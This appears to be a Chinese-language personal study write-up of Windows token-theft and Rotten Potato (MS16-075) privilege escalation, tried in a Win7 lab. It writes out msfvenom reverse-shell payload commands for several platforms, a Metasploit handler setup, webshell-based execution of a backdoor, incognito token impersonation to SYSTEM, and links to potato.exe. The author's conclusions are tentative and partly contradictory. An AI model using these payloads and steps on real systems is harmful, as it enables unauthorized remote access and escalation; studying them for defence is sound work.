Windows令牌窃取提权和烂土豆提权学习
令牌,又叫token,是系统临时产生的秘钥,相当于账号密码,用来决定是否允许此次请求和判断此次请求是属于哪一个用户。
令牌无需提供密码或其他凭证,就可以访问网络和系统资源,这些令牌持续于系统中,除非系统重新启动。
令牌的最大特点就是随机性,不可预测,无法猜解。
当不同的用户登录计算机后,都会生成一个访问令牌,这个Token 在用户创建进程或线程时还会被使用,并不断进行拷贝,一般用户双击运行⼀个进程都会拷贝 explorer.exe 中 的 Access Token
令牌的分类
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾
Windows 的 AccessToken 有两种类型:
Delegation Token:授权令牌,支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,支持非交互的会话 (例如使用 net use访问共享文件夹)。
两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成Impersonation token,依旧有效。
首先通过msf获取meterpreter会话,可能是普通用户权限。
通过生成木马文件获取上线msf
常用的 msfvenom生成shell的命令(IP和端口都可自行更改):
Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > shell.exe
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.1 LPORT=4444 -f raw > shell.sh
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=4444 On> -f raw > shell.php
——
我这里通过kali 生成,IP为这台kali的IP,生成完成后可在文件夹中可以找到。并把这个生成的后门文件放在目标win7内。
然后使用监听模块:
use exploit/multi/handler
设置payload,就是刚刚msfvenom生成shell中有的payload:windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp
show options
查看设置选项,可以看到端口已经默认为4444
然后设置本地kali的IP为,即生成的shell中的IP。
set lhost=192.168.43.125
run
执行监听,并在此时win7上双击生成的那个后门文件shell.exe运行。
就成功弹出meterpreter会话。并且此时的权限为用户权限。
——
——
尝试令牌窃取
进入 令牌伪造工具incognito模块
use incognito
查看到所有的用户令牌:
list_tokens -u
可以看到前面list_tokens -u
列出了Delegation Token和Impresonation Token两种令牌。
如果是有其它令牌的话,使用该命令进行模拟:
impersonate_token ‘其它权限令牌’
如:impersonate_token 'NT AUTHORITY\SYSTEM'
结果我这里没有可用令牌,我换了其它几个低版本操作系统winxp和sever2008也是一样只有一个现有的用户权限令牌。又猜测是不是其它用户没有登录未产生令牌,然后我登录过其它用户再尝试后还是没有其它权限令牌。
后来发现是我因为在win7的主机上点击的,相当于只是得到了目标机器的用户权限。
而这里是需要web权限(我也不知道为什么这里似乎展示的web权限比用户权限更高)
所以我这里就把后门文件传到web根目录下,并利用蚁剑的虚拟终端进行执行。
msf得到meterpreter会话,和上面的步骤是一样的,只是shell.exe执行的位置不一样。
然后我再进行操作,和前面一样。
和前面的操作比,Delegation Token和Impresonation Token两种可用令牌都变多了,其中包含system权限的令牌。
use incognito
list_tokens -u
impersonate_token 'NT AUTHORITY\SYSTEM'
后面看了一些令牌窃取的文章,说list_tokens查找出来的令牌数量取决于meterpreter shell的访问级别,我们列举令牌,只能列举出当前用户和比当前用户权限更低的用户令牌。
说到令牌窃取的一个降权使用场景,在通过内核漏洞等方式获取到system权限时, 假如我们利用 mimikatz 和 hashdump不能获得 administrator用户的密码,那我们只能通过令牌窃取进行降权,获得administrator用户的shell, 从而以administrator用户的身份启动某些服务(因为某些服务只能通过administrator用户启动)。
这些文章讲述的是单靠令牌窃取是无法提权的,而可以结合**“烂土豆 (Rotten Potato)”**进行提权。
但其在演示令牌窃取结合烂土豆提权的时候,也是需要在webshell的权限基础上,那这就和我前面的演示相同了,似乎就不太需要烂土豆提权。
对于这些问题还是需要有更多的研究与学习,现在的情况似乎存在一些矛盾。
——
——
烂土豆提权结合令牌窃取
提到了烂土豆提权的话,也对其进行学习了解一下。
烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户
原理:
通过欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端;接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的;只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌
(一般大多数的服务型账户,例如:IIS、MSSQL…具有该权限,大多数用户级别的账户没有该权限)
RottonPatato 脚 本可以百度下载,这里列两个:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
https://github.com/foxglovesec/RottenPotato
前面已经提到,烂土豆提权需要具有“模仿安全令牌权限”。我们要先进行查看是否有这个权限
查看是否具有Selmpersonate权限
getprivs
##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv
在刚刚的webshell的权限下,可以看到是有这个权限的。
然后执行下载到的potato.exe文件:
execute -cH -f potato.exe
…………这个列出的令牌似乎和前面的令牌窃取的情况是一样的。所以也不知道这个烂土豆提权具体什么情况。
再回到前面那个令牌窃取无法提权的情况,即在win7的主机上点击shell,得到的是用户权限。
也没有Selmpersonate权限,无法进行令牌窃取提权,执行烂土豆potato.exe文件,也无法进行提权。
——————————————————————————————————-
——————————————————————————————————
——————
其它
一开始还遇到win7无法执行 potato.exe 的文件,显示需要安装.NET Framework
那就直接去百度下载.NET Framework吧,安装之后就可以了。
https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=17718